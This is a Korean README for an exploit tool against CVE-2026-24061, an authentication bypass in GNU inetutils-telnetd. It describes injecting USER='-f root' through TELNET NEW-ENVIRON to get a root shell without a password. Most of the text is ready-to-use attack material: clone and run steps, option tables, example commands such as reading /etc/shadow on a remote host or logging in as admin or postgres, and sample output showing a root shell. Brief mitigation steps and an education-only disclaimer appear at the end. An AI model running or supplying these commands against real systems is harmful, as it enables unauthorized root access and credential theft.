
inetutils-telnetd 인증 우회 - 작동 중
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-24061 |
| 영향을 받는 소프트웨어 | GNU inetutils-telnetd |
| 영향을 받는 버전 | 1.9.3 – 2.7 |
| 취약점 유형 | 인증 우회 |
| CVSS 점수 | 치명적 |
| 공격 벡터 | 네트워크 |
이 취약점은 telnetd가 프로토콜 협상 중 TELNET NEW-ENVIRON 옵션(RFC 1572)을 통해 수신한 USER 환경 변수를 처리하는 방식의 결함을 악용합니다.
TELNET 프로토콜 협상: 클라이언트가 연결하면 서버와 클라이언트는 NEW-ENVIRON 옵션을 포함한 기능을 협상하며, 이를 통해 클라이언트가 환경 변수를 보낼 수 있습니다.
악의적인 USER 값: 익스플로잇은 이 협상 단계에서 환경 변수로 USER=-f root를 전송합니다.
안전하지 않은 인수 전달: 취약한 telnetd는 이 값을 검증 없이 login 프로그램에 전달합니다.
명령 주입: login 프로그램은 -f root를 명령줄 플래그로 해석합니다:
-f = "인증 없이 강제 로그인"root = 로그인할 사용자 이름루트 액세스: 공격자는 비밀번호를 묻는 메시지 없이 루트 셸을 획득합니다.
클라이언트 전송: USER = "-f root"
telnetd 실행: login -f root
결과: 인증 없이 루트 셸 부여
이는 취약한 telnetd가 있는 시스템에서 USER='-f root' telnet -a localhost를 실행하는 것과 동일합니다.
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [옵션] <대상>
| 옵션 | 설명 | 기본값 |
|---|---|---|
host | 대상 호스트 이름 또는 IP 주소 | 필수 |
-p, --port | 대상 포트 | 23 |
-u, --user | 주입할 USER 값 | -f root |
-c, --command | 단일 명령 실행(비대화형) | 없음 |
-t, --timeout | 연결 제한 시간(초) | 10 |
로컬 호스트에서 대화형 루트 셸:
./exploit.py localhost
원격 호스트에서 대화형 루트 셸:
./exploit.py 192.168.1.100
단일 명령 실행 후 종료:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
다른 사용자로 로그인:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
비표준 포트:
./exploit.py -p 2323 localhost
옵션 결합:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
-c 플래그 없이 실행하면 익스플로잇이 대화형 셸로 전환됩니다:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - inetutils-telnetd Authentication Bypass ║
║ Affects: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Connected to 192.168.1.100:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
telnetd 비활성화: 반드시 필요한 경우가 아니라면 telnet 서비스를 완전히 비활성화합니다
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
SSH 사용: 원격 액세스에 telnet 대신 SSH를 사용합니다
sudo apt install openssh-server
방화벽 규칙: 신뢰할 수 없는 네트워크에서 포트 23을 차단합니다
sudo ufw deny 23/tcp
이 익스플로잇은 다음과 같은 최소 TELNET 클라이언트를 구현합니다:
USER=-f root 전송이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
MIT 라이선스 — 자세한 내용은 LICENSE를 참조하십시오.